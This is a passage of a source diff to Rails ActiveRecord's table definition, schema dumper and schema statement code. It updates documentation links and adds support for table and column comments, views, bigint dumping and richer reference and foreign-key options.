+ # Also see TableDefinition and {connection.create_table}[rdoc-ref:SchemaStatements#create_table] # # Available transformations are: # @@ -501,6 +442,7 @@ module ActiveRecord # t.bigint # t.float # t.decimal + # t.numeric # t.datetime # t.timestamp # t.time @@ -537,7 +479,7 @@ module ActiveRecord # # t.string(:name) unless t.column_exists?(:name, :string) # - # See SchemaStatements#column_exists? + # See {connection.column_exists?}[rdoc-ref:SchemaStatements#column_exists?] def column_exists?(column_name, type = nil, options = {}) @base.column_exists?(name, column_name, type, options) end @@ -549,7 +491,7 @@ module ActiveRecord # t.index([:branch_id, :party_id], unique: true) # t.index([:branch_id, :party_id], unique: true, name: 'by_branch_party') # - # See SchemaStatements#add_index for details of the options you can use. + # See {connection.add_index}[rdoc-ref:SchemaStatements#add_index] for details of the options you can use. def index(column_name, options = {}) @base.add_index(name, column_name, options) end @@ -560,7 +502,7 @@ module ActiveRecord # t.index(:branch_id) # end # - # See SchemaStatements#index_exists? + # See {connection.index_exists?}[rdoc-ref:SchemaStatements#index_exists?] def index_exists?(column_name, options = {}) @base.index_exists?(name, column_name, options) end @@ -569,7 +511,7 @@ module ActiveRecord # # t.rename_index(:user_id, :account_id) # - # See SchemaStatements#rename_index + # See {connection.rename_index}[rdoc-ref:SchemaStatements#rename_index] def rename_index(index_name, new_index_name) @base.rename_index(name, index_name, new_index_name) end @@ -578,7 +520,7 @@ module ActiveRecord # # t.timestamps(null: false) # - # See SchemaStatements#add_timestamps + # See {connection.add_timestamps}[rdoc-ref:SchemaStatements#add_timestamps] def timestamps(options = {}) @base.add_timestamps(name, options) end @@ -597,10 +539,11 @@ module ActiveRecord # # t.change_default(:qualification, 'new') # t.change_default(:authorized, 1) + # t.change_default(:status, from: nil, to: "draft") # - # See SchemaStatements#change_column_default - def change_default(column_name, default) - @base.change_column_default(name, column_name, default) + # See {connection.change_column_default}[rdoc-ref:SchemaStatements#change_column_default] + def change_default(column_name, default_or_changes) + @base.change_column_default(name, column_name, default_or_changes) end # Removes the column(s) from the table definition. @@ -608,7 +551,7 @@ module ActiveRecord # t.remove(:qualification) # t.remove(:qualification, :experience) # - # See SchemaStatements#remove_columns + # See {connection.remove_columns}[rdoc-ref:SchemaStatements#remove_columns] def remove(*column_names) @base.remove_columns(name, *column_names) end @@ -619,7 +562,7 @@ module ActiveRecord # t.remove_index(column: [:branch_id, :party_id]) # t.remove_index(name: :by_branch_party) # - # See SchemaStatements#remove_index + # See {connection.remove_index}[rdoc-ref:SchemaStatements#remove_index] def remove_index(options = {}) @base.remove_index(name, options) end @@ -628,7 +571,7 @@ module ActiveRecord # # t.remove_timestamps # - # See SchemaStatements#remove_timestamps + # See {connection.remove_timestamps}[rdoc-ref:SchemaStatements#remove_timestamps] def remove_timestamps(options = {}) @base.remove_timestamps(name, options) end @@ -637,20 +580,17 @@ module ActiveRecord # # t.rename(:description, :name) # - # See SchemaStatements#rename_column + # See {connection.rename_column}[rdoc-ref:SchemaStatements#rename_column] def rename(column_name, new_column_name) @base.rename_column(name, column_name, new_column_name) end - # Adds a reference. Optionally adds a +type+ column, if - # <tt>:polymorphic</tt> option is provided. + # Adds a reference. # # t.references(:user) - # t.references(:user, type: "string") - # t.belongs_to(:supplier, polymorphic: true) # t.belongs_to(:supplier, foreign_key: true) # - # See SchemaStatements#add_reference + # See {connection.add_reference}[rdoc-ref:SchemaStatements#add_reference] for details of the options you can use. def references(*args) options = args.extract_options! args.each do |ref_name| @@ -664,7 +604,7 @@ module ActiveRecord # t.remove_references(:user) # t.remove_belongs_to(:supplier, polymorphic: true) # - # See SchemaStatements#remove_reference + # See {connection.remove_reference}[rdoc-ref:SchemaStatements#remove_reference] def remove_references(*args) options = args.extract_options! args.each do |ref_name| @@ -677,7 +617,7 @@ module ActiveRecord # # t.foreign_key(:authors) # - # See SchemaStatements#add_foreign_key + # See {connection.add_foreign_key}[rdoc-ref:SchemaStatements#add_foreign_key] def foreign_key(*args) # :nodoc: @base.add_foreign_key(name, *args) end @@ -686,15 +626,10 @@ module ActiveRecord # # t.foreign_key(:authors) unless t.foreign_key_exists?(:authors) # - # See SchemaStatements#foreign_key_exists? + # See {connection.foreign_key_exists?}[rdoc-ref:SchemaStatements#foreign_key_exists?] def foreign_key_exists?(*args) # :nodoc: @base.foreign_key_exists?(name, *args) end - - private - def native - @base.native_database_types - end end end end diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb index 999cb0ec5a..677a4c6bd0 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb @@ -7,55 +7,99 @@ module ActiveRecord # Adapter level by over-writing this code inside the database specific adapters module ColumnDumper def column_spec(column) - spec = prepare_column_options(column) - (spec.keys - [:name, :type]).each{ |k| spec[k].insert(0, "#{k}: ")} + spec = Hash[prepare_column_options(column).map { |k, v| [k, "#{k}: #{v}"] }] + spec[:name] = column.name.inspect + spec[:type] = schema_type(column).to_s spec end def column_spec_for_primary_key(column) - return if column.type == :integer - spec = { id: column.type.inspect } - spec.merge!(prepare_column_options(column).delete_if { |key, _| [:name, :type].include?(key) }) + return {} if default_primary_key?(column) + spec = { id: schema_type(column).inspect } + spec.merge!(prepare_column_options(column).except!(:null)) end - # This can be overridden on a Adapter level basis to support other + # This can be overridden on an Adapter level basis to support other # extended datatypes (Example: Adding an array option in the - # PostgreSQLAdapter) + # PostgreSQL::ColumnDumper) def prepare_column_options(column) spec = {} - spec[:name] = column.name.inspect - spec[:type] = schema_type(column) - spec[:null] = 'false' unless column.null - limit = column.limit || native_database_types[column.type][:limit] - spec[:limit] = limit.inspect if limit - spec[:precision] = column.precision.inspect if column.precision - spec[:scale] = column.scale.inspect if column.scale + if limit = schema_limit(column) + spec[:limit] = limit + end + + if precision = schema_precision(column) + spec[:precision] = precision + end + + if scale = schema_scale(column) + spec[:scale] = scale + end default = schema_default(column) if column.has_default? spec[:default] = default unless default.nil? + spec[:null] = 'false' unless column.null + + if collation = schema_collation(column) + spec[:collation] = collation + end + + spec[:comment] = column.comment.inspect if column.comment.present? + spec end # Lists the valid migration options def migration_keys - [:name, :limit, :precision, :scale, :default, :null] + [:name, :limit, :precision, :scale, :default, :null, :collation, :comment] end private + def default_primary_key?(column) + schema_type(column) == :integer + end + def schema_type(column) - column.type.to_s + if column.bigint? + :bigint + else + column.type + end + end + + def schema_limit(column) + limit = column.limit unless column.bigint? + limit.inspect if limit && limit != native_database_types[column.type][:limit] + end + + def schema_precision(column) + column.precision.inspect if column.precision + end + + def schema_scale(column) + column.scale.inspect if column.scale end def schema_default(column) type = lookup_cast_type_from_column(column) default = type.deserialize(column.default) - unless default.nil? + if default.nil? + schema_expression(column) + else type.type_cast_for_schema(default) end end + + def schema_expression(column) + "-> { #{column.default_function.inspect} }" if column.default_function + end + + def schema_collation(column) + column.collation.inspect if column.collation + end end end end diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb index d42f9a894b..99a3e99bdc 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb @@ -14,11 +14,39 @@ module ActiveRecord {} end + def table_options(table_name) + nil + end + + # Returns the table comment that's stored in database metadata. + def table_comment(table_name) + nil + end + # Truncates a table alias according to the limits of the current adapter. def table_alias_for(table_name) table_name[0...table_alias_length].tr('.', '_') end + # Returns the relation names useable to back Active Record models. + # For most adapters this means all #tables and #views. + def data_sources + tables | views + end + + # Checks to see if the data source +name+ exists on the database. + # + # data_source_exists?(:ebooks) + # + def data_source_exists?(name) + data_sources.include?(name.to_s) + end + + # Returns an array of table names defined in the database. + def tables(name = nil) + raise NotImplementedError, "#tables is not implemented" + end + # Checks to see if the table +table_name+ exists on the database. # # table_exists?(:developers) @@ -27,6 +55,19 @@ module ActiveRecord tables.include?(table_name.to_s) end + # Returns an array of view names defined in the database. + def views + raise NotImplementedError, "#views is not implemented" + end + + # Checks to see if the view +view_name+ exists on the database. + # + # view_exists?(:ebooks) + # + def view_exists?(view_name) + views.include?(view_name.to_s) + end + # Returns an array of indexes for the given table. # def indexes(table_name, name = nil) end @@ -46,18 +87,19 @@ module ActiveRecord # def index_exists?(table_name, column_name, options = {}) column_names = Array(column_name).map(&:to_s) - index_name = options.key?(:name) ? options[:name].to_s : index_name(table_name, column: column_names) checks = [] - checks << lambda { |i| i.name == index_name } checks << lambda { |i| i.columns == column_names } checks << lambda { |i| i.unique } if options[:unique] + checks << lambda { |i| i.name == options[:name].to_s } if options[:name] indexes(table_name).any? { |i| checks.all? { |check| check[i] } } end # Returns an array of Column objects for the table specified by +table_name+. # See the concrete implementation for details on the expected parameter values. - def columns(table_name) end + def columns(table_name) + raise NotImplementedError, "#columns is not implemented" + end # Checks to see if a column exists in a given table. # @@ -75,19 +117,32 @@ module ActiveRecord # def column_exists?(table_name, column_name, type = nil, options = {}) column_name = column_name.to_s - columns(table_name).any?{ |c| c.name == column_name && - (!type || c.type == type) && - (!options.key?(:limit) || c.limit == options[:limit]) && - (!options.key?(:precision) || c.precision == options[:precision]) && - (!options.key?(:scale) || c.scale == options[:scale]) && - (!options.key?(:default) || c.default == options[:default]) && - (!options.key?(:null) || c.null == options[:null]) } + checks = [] + checks << lambda { |c| c.name == column_name } + checks << lambda { |c| c.type == type } if type + (migration_keys - [:name]).each do |attr| + checks << lambda { |c| c.send(attr) == options[attr] } if options.key?(attr) + end + + columns(table_name).any? { |c| checks.all? { |check| check[c] } } + end + + # Returns just a table's primary key + def primary_key(table_name) + pks = primary_keys(table_name) + warn <<-WARNING.strip_heredoc if pks.count > 1 + WARNING: Rails does not support composite primary key. + + #{table_name} has composite primary key. Composite primary key is ignored. + WARNING + + pks.first if pks.one? end # Creates a new table with the name +table_name+. +table_name+ may either # be a String or a Symbol. # - # There are two ways to work with +create_table+. You can use the block + # There are two ways to work with #create_table. You can use the block # form or the regular form, like this: # # === Block form @@ -119,13 +174,16 @@ module ActiveRecord # The +options+ hash can include the following keys: # [<tt>:id</tt>] # Whether to automatically add a primary key column. Defaults to true. - # Join tables for +has_and_belongs_to_many+ should set it to false. + # Join tables for {ActiveRecord::Base.has_and_belongs_to_many}[rdoc-ref:Associations::ClassMethods#has_and_belongs_to_many] should set it to false. + # + # A Symbol can be used to specify the type of the generated primary key column. # [<tt>:primary_key</tt>] # The name of the primary key, if one is to be added automatically. # Defaults to +id+. If <tt>:id</tt> is false this option is ignored. # # Note that Active Record models will automatically detect their - # primary key. This can be avoided by using +self.primary_key=+ on the model + # primary key. This can be avoided by using + # {self.primary_key=}[rdoc-ref:AttributeMethods::PrimaryKey::ClassMethods#primary_key=] on the model # to define the key explicitly. # # [<tt>:options</tt>] @@ -147,7 +205,7 @@ module ActiveRecord # generates: # # CREATE TABLE suppliers ( - # id int(11) DEFAULT NULL auto_increment PRIMARY KEY + # id int auto_increment PRIMARY KEY # ) ENGINE=InnoDB DEFAULT CHARSET=utf8 # # ====== Rename the primary key column @@ -159,10 +217,23 @@ module ActiveRecord # generates: # # CREATE TABLE objects ( - # guid int(11) DEFAULT NULL auto_increment PRIMARY KEY, + # guid int auto_increment PRIMARY KEY, # name varchar(80) # ) # + # ====== Change the primary key column type + # + # create_table(:tags, id: :string) do |t| + # t.column :label, :string + # end + # + # generates: + # + # CREATE TABLE tags ( + # id varchar PRIMARY KEY, + # label varchar + # ) + # # ====== Do not add a primary key column # # create_table(:categories_suppliers, id: false) do |t| @@ -188,20 +259,24 @@ module ActiveRecord # SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id # # See also TableDefinition#column for details on how to create columns. - def create_table(table_name, options = {}) - td = create_table_definition table_name, options[:temporary], options[:options], options[:as] + def create_table(table_name, comment: nil, **options) + td = create_table_definition table_name, options[:temporary], options[:options], options[:as], comment: comment if options[:id] != false && !options[:as] pk = options.fetch(:primary_key) do Base.get_primary_key table_name.to_s.singularize end - td.primary_key pk, options.fetch(:id, :primary_key), options + if pk.is_a?(Array) + td.primary_keys pk + else + td.primary_key pk, options.fetch(:id, :primary_key), options + end end yield td if block_given? - if options[:force] && table_exists?(table_name) + if options[:force] && data_source_exists?(table_name) drop_table(table_name, options) end @@ -213,8 +288,12 @@ module ActiveRecord end end - td.foreign_keys.each_pair do |other_table_name, foreign_key_options| - add_foreign_key(table_name, other_table_name, foreign_key_options) + if supports_comments? && !supports_comments_in_create? + change_table_comment(table_name, comment) if comment + + td.columns.each do |column| + change_column_comment(table_name, column.name, column.comment) if column.comment + end end result @@ -239,7 +318,7 @@ module ActiveRecord # Set to true to drop the table before creating it. # Defaults to false. # - # Note that +create_join_table+ does not create any indices by default; you can use + # Note that #create_join_table does not create any indices by default; you can use # its block form to do so yourself: # # create_join_table :products, :categories do |t| @@ -263,22 +342,23 @@ module ActiveRecord column_options = options.delete(:column_options) || {} column_options.reverse_merge!(null: false) + type = column_options.delete(:type) || :integer t1_column, t2_column = [table_1, table_2].map{ |t| t.to_s.singularize.foreign_key } create_table(join_table_name, options.merge!(id: false)) do |td| - td.integer t1_column, column_options - td.integer t2_column, column_options + td.send type, t1_column, column_options + td.send type, t2_column, column_options yield td if block_given? end end # Drops the join table specified by the given arguments. - # See +create_join_table+ for details. + # See #create_join_table for details. # # Although this command ignores the block if one is given, it can be helpful # to provide one in a migration's +change+ method so it can be reverted. - # In that case, the block will be used by create_join_table. + # In that case, the block will be used by #create_join_table. def drop_join_table(table_1, table_2, options = {}) join_table_name = find_join_table_name(table_1, table_2, options) drop_table(join_table_name) @@ -296,7 +376,7 @@ module ActiveRecord # [<tt>:bulk</tt>] # Set this to true to make this a bulk alter query, such as # - # ALTER TABLE `users` ADD COLUMN age INT(11), ADD COLUMN birthdate DATETIME ... + # ALTER TABLE `users` ADD COLUMN age INT, ADD COLUMN birthdate DATETIME ... # # Defaults to false. # @@ -377,16 +457,90 @@ module ActiveRecord # [<tt>:force</tt>] # Set to +:cascade+ to drop dependent objects as well. # Defaults to false. + # [<tt>:if_exists</tt>] + # Set to +true+ to only drop the table if it exists. + # Defaults to false. # # Although this command ignores most +options+ and the block if one is given, # it can be helpful to provide these in a migration's +change+ method so it can be reverted. - # In that case, +options+ and the block will be used by create_table. + # In that case, +options+ and the block will be used by #create_table. def drop_table(table_name, options = {}) execute "DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}" end - # Adds a new column to the named table. - # See TableDefinition#column for details of the options you can use. + # Add a new +type+ column named +column_name+ to +table_name+. + # + # The +type+ parameter is normally one of the migrations native types, + # which is one of the following: + # <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>, + # <tt>:integer</tt>, <tt>:bigint</tt>, <tt>:float</tt>, <tt>:decimal</tt>, <tt>:numeric</tt>, + # <tt>:datetime</tt>, <tt>:time</tt>, <tt>:date</tt>, + # <tt>:binary</tt>, <tt>:boolean</tt>. + # + # You may use a type not in this list as long as it is supported by your + # database (for example, "polygon" in MySQL), but this will not be database + # agnostic and should usually be avoided. + # + # Available options are (none of these exists by default): + # * <tt>:limit</tt> - + # Requests a maximum column length. This is number of characters for a <tt>:string</tt> column + # and number of bytes for <tt>:text</tt>, <tt>:binary</tt> and <tt>:integer</tt> columns. + # * <tt>:default</tt> - + # The column's default value. Use nil for NULL. + # * <tt>:null</tt> - + # Allows or disallows +NULL+ values in the column. This option could + # have been named <tt>:null_allowed</tt>. + # * <tt>:precision</tt> - + # Specifies the precision for the <tt>:decimal</tt> and <tt>:numeric</tt> columns. + # * <tt>:scale</tt> - + # Specifies the scale for the <tt>:decimal</tt> and <tt>:numeric</tt> columns. + # + # Note: The precision is the total number of significant digits + # and the scale is the number of digits that can be stored following + # the decimal point. For example, the number 123.45 has a precision of 5 + # and a scale of 2. A decimal with a precision of 5 and a scale of 2 can + # range from -999.99 to 999.99. + # + # Please be aware of different RDBMS implementations behavior with + # <tt>:decimal</tt> columns: + # * The SQL standard says the default scale should be 0, <tt>:scale</tt> <= + # <tt>:precision</tt>, and makes no comments about the requirements of + # <tt>:precision</tt>. + # * MySQL: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..30]. + # Default is (10,0). + # * PostgreSQL: <tt>:precision</tt> [1..infinity], + # <tt>:scale</tt> [0..infinity]. No default. + # * SQLite3: No restrictions on <tt>:precision</tt> and <tt>:scale</tt>, + # but the maximum supported <tt>:precision</tt> is 16. No default. + # * Oracle: <tt>:precision</tt> [1..38], <tt>:scale</tt> [-84..127]. + # Default is (38,0). + # * DB2: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..62]. + # Default unknown. + # * SqlServer?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38]. + # Default (38,0). + # + # == Examples + # + # add_column(:users, :picture, :binary, limit: 2.megabytes) + # # ALTER TABLE "users" ADD "picture" blob(2097152) + # + # add_column(:articles, :status, :string, limit: 20, default: 'draft', null: false) + # # ALTER TABLE "articles" ADD "status" varchar(20) DEFAULT 'draft' NOT NULL + # + # add_column(:answers, :bill_gates_money, :decimal, precision: 15, scale: 2) + # # ALTER TABLE "answers" ADD "bill_gates_money" decimal(15,2) + # + # add_column(:measurements, :sensor_reading, :decimal, precision: 30, scale: 20) + # # ALTER TABLE "measurements" ADD "sensor_reading" decimal(30,20) + # + # # While :scale defaults to zero on most databases, it + # # probably wouldn't hurt to include it. + # add_column(:measurements, :huge_integer, :decimal, precision: 30) + # # ALTER TABLE "measurements" ADD "huge_integer" decimal(30) + # + # # Defines a column with a database-specific type. + # add_column(:shapes, :triangle, 'polygon') + # # ALTER TABLE "shapes" ADD "triangle" polygon def add_column(table_name, column_name, type, options = {}) at = create_alter_table table_name at.add_column(column_name, type, options) @@ -434,11 +588,16 @@ module ActiveRecord # # change_column_default(:users, :email, nil) # - def change_column_default(table_name, column_name, default) + # Passing a hash containing +:from+ and +:to+ will make this change + # reversible in migration: + # + # change_column_default(:posts, :state, from: nil, to: "draft") + # + def change_column_default(table_name, column_name, default_or_changes) raise NotImplementedError, "change_column_default is not implemented" end - # Sets or removes a +NOT NULL+ constraint on a column. The +null+ flag + # Sets or removes a <tt>NOT NULL</tt> constraint on a column. The +null+ flag # indicates whether the value can be +NULL+. For example # # change_column_null(:users, :nickname, false) @@ -450,7 +609,7 @@ module ActiveRecord # allows them to be +NULL+ (drops the constraint). # # The method accepts an optional fourth argument to replace existing - # +NULL+s with some other value. Use that one when enabling the + # <tt>NULL</tt>s with some other value. Use that one when enabling the # constraint if needed, since otherwise those rows would not be valid. # # Please note the fourth argument does not set a column's default. @@ -504,6 +663,8 @@ module ActiveRecord # # CREATE INDEX by_name ON accounts(name(10)) # + # ====== Creating an index with specific key lengths for multiple keys + # # add_index(:accounts, [:name, :surname], name: 'by_name_surname', length: {name: 10, surname: 15}) # # generates: @@ -530,6 +691,8 @@ module ActiveRecord # # CREATE UNIQUE INDEX index_accounts_on_branch_id_and_party_id ON accounts(branch_id, party_id) WHERE active # + # Note: Partial indexes are only supported for PostgreSQL and SQLite 3.8.0+. + # # ====== Creating an index with a specific method # # add_index(:developers, :name, using: 'btree') @@ -549,7 +712,7 @@ module ActiveRecord # # CREATE FULLTEXT INDEX index_developers_on_name ON developers (name) -- MySQL # - # Note: only supported by MySQL. Supported: <tt>:fulltext</tt> and <tt>:spatial</tt> on MyISAM tables. + # Note: only supported by MySQL. def add_index(table_name, column_name, options = {}) index_name, index_type, index_columns, index_options = add_index_options(table_name, column_name, options) execute "CREATE #{index_type} INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} (#{index_columns})#{index_options}" @@ -557,15 +720,15 @@ module ActiveRecord # Removes the given index from the table. # - # Removes the +index_accounts_on_column+ in the +accounts+ table. + # Removes the index on +branch_id+ in the +accounts+ table if exactly one such index exists. # - # remove_index :accounts, :column + # remove_index :accounts, :branch_id # - # Removes the index named +index_accounts_on_branch_id+ in the +accounts+ table. + # Removes the index on +branch_id+ in the +accounts+ table if exactly one such index exists. # # remove_index :accounts, column: :branch_id # - # Removes the index named +index_accounts_on_branch_id_and_party_id+ in the +accounts+ table. + # Removes the index on +branch_id+ and +party_id+ in the +accounts+ table if exactly one such index exists. # # remove_index :accounts, column: [:branch_id, :party_id] # @@ -574,10 +737,7 @@ module ActiveRecord # remove_index :accounts, name: :by_branch_party # def remove_index(table_name, options = {}) - remove_index!(table_name, index_name_for_remove(table_name, options)) - end - - def remove_index!(table_name, index_name) #:nodoc: + index_name = index_name_for_remove(table_name, options) execute "DROP INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)}" end @@ -621,10 +781,23 @@ module ActiveRecord indexes(table_name).detect { |i| i.name == index_name } end - # Adds a reference. Optionally adds a +type+ column, if <tt>:polymorphic</tt> option is provided. - # The reference column is an +integer+ by default, the <tt>:type</tt> option can be used to specify - # a different type. - # <tt>add_reference</tt> and <tt>add_belongs_to</tt> are acceptable. + # Adds a reference. The reference column is an integer by default, + # the <tt>:type</tt> option can be used to specify a different type. + # Optionally adds a +_type+ column, if <tt>:polymorphic</tt> option is provided. + # #add_reference and #add_belongs_to are acceptable. + # + # The +options+ hash can include the following keys: + # [<tt>:type</tt>] + # The reference column type. Defaults to +:integer+. + # [<tt>:index</tt>] + # Add an appropriate index. Defaults to false. + # See #add_index for usage of this option. + # [<tt>:foreign_key</tt>] + # Add an appropriate foreign key constraint. Defaults to false. + # [<tt>:polymorphic</tt>] + # Whether an additional +_type+ column should be added. Defaults to false. + # [<tt>:null</tt>] + # Whether the column allows nulls. Defaults to true. # # ====== Create a user_id integer column # @@ -634,25 +807,33 @@ module ActiveRecord # # add_reference(:products, :user, type: :string) # - # ====== Create a supplier_id and supplier_type columns - # - # add_belongs_to(:products, :supplier, polymorphic: true) - # # ====== Create supplier_id, supplier_type columns and appropriate index # # add_reference(:products, :supplier, polymorphic: true, index: true) # + # ====== Create a supplier_id column with a unique index + # + # add_reference(:products, :supplier, index: { unique: true }) + # + # ====== Create a supplier_id column with a named index + # + # add_reference(:products, :supplier, index: { name: "my_supplier_index" }) + # # ====== Create a supplier_id column and appropriate foreign key # # add_reference(:products, :supplier, foreign_key: true) # + # ====== Create a supplier_id column and a foreign key to the firms table + # + # add_reference(:products, :supplier, foreign_key: {to_table: :firms}) + # def add_reference(table_name, *args) ReferenceDefinition.new(*args).add_to(update_table_definition(table_name, self)) end alias :add_belongs_to :add_reference # Removes the reference(s). Also removes a +type+ column if one exists. - # <tt>remove_reference</tt>, <tt>remove_references</tt> and <tt>remove_belongs_to</tt> are acceptable. + # #remove_reference and #remove_belongs_to are acceptable. # # ====== Remove the reference # @@ -667,7 +848,10 @@ module ActiveRecord # remove_reference(:products, :user, index: true, foreign_key: true) # def remove_reference(table_name, ref_name, options = {}) - remove_foreign_key table_name, ref_name.to_s.pluralize if options[:foreign_key] + if options[:foreign_key] + reference_name = Base.pluralize_table_names ? ref_name.to_s.pluralize : ref_name + remove_foreign_key(table_name, reference_name) + end remove_column(table_name, "#{ref_name}_id") remove_column(table_name, "#{ref_name}_type") if options[:polymorphic] @@ -675,7 +859,7 @@ module ActiveRecord alias :remove_belongs_to :remove_reference # Returns an array of foreign keys for the given table. - # The foreign keys are represented as +ForeignKeyDefinition+ objects. + # The foreign keys are represented as ForeignKeyDefinition objects. def foreign_keys(table_name) raise NotImplementedError, "foreign_keys is not implemented" end @@ -684,8 +868,8 @@ module ActiveRecord # +to_table+ contains the referenced primary key. # # The foreign key will be named after the following pattern: <tt>fk_rails_<identifier></tt>. - # +identifier+ is a 10 character long random string. A custom name can be specified with - # the <tt>:name</tt> option. + # +identifier+ is a 10 character long string which is deterministically generated from the + # +from_table+ and +column+. A custom name can be specified with the <tt>:name</tt> option. # # ====== Creating a simple foreign key # @@ -693,7 +877,7 @@ module ActiveRecord # # generates: # - # ALTER TABLE "articles" ADD CONSTRAINT articles_author_id_fk FOREIGN KEY ("author_id") REFERENCES "authors" ("id") + # ALTER TABLE "articles" ADD CONSTRAINT fk_rails_e74ce85cbc FOREIGN KEY ("author_id") REFERENCES "authors" ("id") # # ====== Creating a foreign key on a specific column # @@ -709,7 +893,7 @@ module ActiveRecord # # generates: # - # ALTER TABLE "articles" ADD CONSTRAINT articles_author_id_fk FOREIGN KEY ("author_id") REFERENCES "authors" ("id") ON DELETE CASCADE + # ALTER TABLE "articles" ADD CONSTRAINT fk_rails_e74ce85cbc FOREIGN KEY ("author_id") REFERENCES "authors" ("id") ON DELETE CASCADE # # The +options+ hash can include the following keys: # [<tt>:column</tt>] @@ -719,28 +903,23 @@ module ActiveRecord # [<tt>:name</tt>] # The constraint name. Defaults to <tt>fk_rails_<identifier></tt>. # [<tt>:on_delete</tt>] - # Action that happens <tt>ON DELETE</tt>. Valid values are +:nullify+, +:cascade:+ and +:restrict+ + # Action that happens <tt>ON DELETE</tt>. Valid values are +:nullify+, +:cascade+ and +:restrict+ # [<tt>:on_update</tt>] - # Action that happens <tt>ON UPDATE</tt>. Valid values are +:nullify+, +:cascade:+ and +:restrict+ + # Action that happens <tt>ON UPDATE</tt>. Valid values are +:nullify+, +:cascade+ and +:restrict+ def add_foreign_key(from_table, to_table, options = {}) return unless supports_foreign_keys? - options[:column] ||= foreign_key_column_for(to_table) - - options = { - column: options[:column], - primary_key: options[:primary_key], - name: foreign_key_name(from_table, options), - on_delete: options[:on_delete], - on_update: options[:on_update] - } + options = foreign_key_options(from_table, to_table, options) at = create_alter_table from_table at.add_foreign_key to_table, options execute schema_creation.accept(at) end - # Removes the given foreign key from the table. + # Removes the given foreign key from the table. Any option parameters provided + # will be used to re-add the foreign key in case of a migration rollback. + # It is recommended that you provide any options used when creating the foreign + # key so that the migration can be reverted properly. # # Removes the foreign key on +accounts.branch_id+. # @@ -754,6 +933,7 @@ module ActiveRecord # # remove_foreign_key :accounts, name: :special_fk_name # + # The +options+ hash accepts the same keys as SchemaStatements#add_foreign_key. def remove_foreign_key(from_table, options_or_to_table = {}) return unless supports_foreign_keys? @@ -791,15 +971,37 @@ module ActiveRecord end def foreign_key_column_for(table_name) # :nodoc: - "#{table_name.to_s.singularize}_id" + prefix = Base.table_name_prefix + suffix = Base.table_name_suffix + name = table_name.to_s =~ /#{prefix}(.+)#{suffix}/ ? $1 : table_name.to_s + "#{name.singularize}_id" + end + + def foreign_key_options(from_table, to_table, options) # :nodoc: + options = options.dup + options[:column] ||= foreign_key_column_for(to_table) + options[:name] ||= foreign_key_name(from_table, options) + options end def dump_schema_information #:nodoc: + versions = ActiveRecord::SchemaMigration.order('version').pluck(:version) + insert_versions_sql(versions) + end + + def insert_versions_sql(versions) # :nodoc: sm_table = ActiveRecord::Migrator.schema_migrations_table_name - ActiveRecord::SchemaMigration.order('version').map { |sm| - "INSERT INTO #{sm_table} (version) VALUES ('#{sm.version}');" - }.join "\n\n" + if supports_multi_insert? + sql = "INSERT INTO #{sm_table} (version) VALUES " + sql << versions.map {|v| "('#{v}')" }.join(', ') + sql << ";\n\n" + sql + else + versions.map { |version| + "INSERT INTO #{sm_table} (version) VALUES ('#{version}');" + }.join "\n\n" + end end # Should not be called normally, but this operation is non-destructive. @@ -808,7 +1010,15 @@ module ActiveRecord ActiveRecord::SchemaMigration.create_table end - def assume_migrated_upto_version(version, migrations_paths = ActiveRecord::Migrator.migrations_paths) + def initialize_internal_metadata_table + ActiveRecord::InternalMetadata.create_table + end + + def internal_string_options_for_primary_key # :nodoc: + { primary_key: true } + end + + def assume_migrated_upto_version(version, migrations_paths) migrations_paths = Array(migrations_paths) version = version.to_i sm_table = quote_table_name(ActiveRecord::Migrator.schema_migrations_table_name) @@ -823,14 +1033,12 @@ module ActiveRecord execute "INSERT INTO #{sm_table} (version) VALUES ('#{version}')" end - inserted = Set.new - (versions - migrated).each do |v| - if inserted.include?(v) - raise "Duplicate migration #{v}. Please renumber your migrations to resolve the conflict." - elsif v < version - execute "INSERT INTO #{sm_table} (version) VALUES ('#{v}')" - inserted << v + inserting = (versions - migrated).select {|v| v < version} + if inserting.any? + if (duplicate = inserting.detect {|v| inserting.count(v) > 1}) + raise "Duplicate migration #{duplicate}. Please renumber your migrations to resolve the conflict." end + execute insert_versions_sql(inserting) end end @@ -868,18 +1076,19 @@ module ActiveRecord end # Given a set of columns and an ORDER BY clause, returns the columns for a SELECT DISTINCT. - # Both PostgreSQL and Oracle overrides this for custom DISTINCT syntax - they + # PostgreSQL, MySQL, and Oracle overrides this for custom DISTINCT syntax - they # require the order columns appear in the SELECT. # # columns_for_distinct("posts.id", ["posts.created_at desc"]) - def columns_for_distinct(columns, orders) #:nodoc: + # + def columns_for_distinct(columns, orders) # :nodoc: columns end # Adds timestamps (+created_at+ and +updated_at+) columns to +table_name+. - # Additional options (like <tt>null: false</tt>) are forwarded to #add_column. + # Additional options (like +:null+) are forwarded to #add_column. # - # add_timestamps(:suppliers, null: false) + # add_timestamps(:suppliers, null: true) # def add_timestamps(table_name, options = {}) options[:null] = false if options[:null].nil? @@ -901,15 +1110,19 @@ module ActiveRecord Table.new(table_name, base) end - def add_index_options(table_name, column_name, options = {}) #:nodoc: - column_names = Array(column_name) - index_name = index_name(table_name, column: column_names) + def add_index_options(table_name, column_name, comment: nil, **options) # :nodoc: + if column_name.is_a?(String) && /\W/ === column_name + column_names = column_name + else + column_names = Array(column_name) + end options.assert_valid_keys(:unique, :order, :name, :where, :length, :internal, :using, :algorithm, :type) - index_type = options[:unique] ? "UNIQUE" : "" index_type = options[:type].to_s if options.key?(:type) + index_type ||= options[:unique] ? "UNIQUE" : "" index_name = options[:name].to_s if options.key?(:name) + index_name ||= index_name(table_name, index_name_options(column_names)) 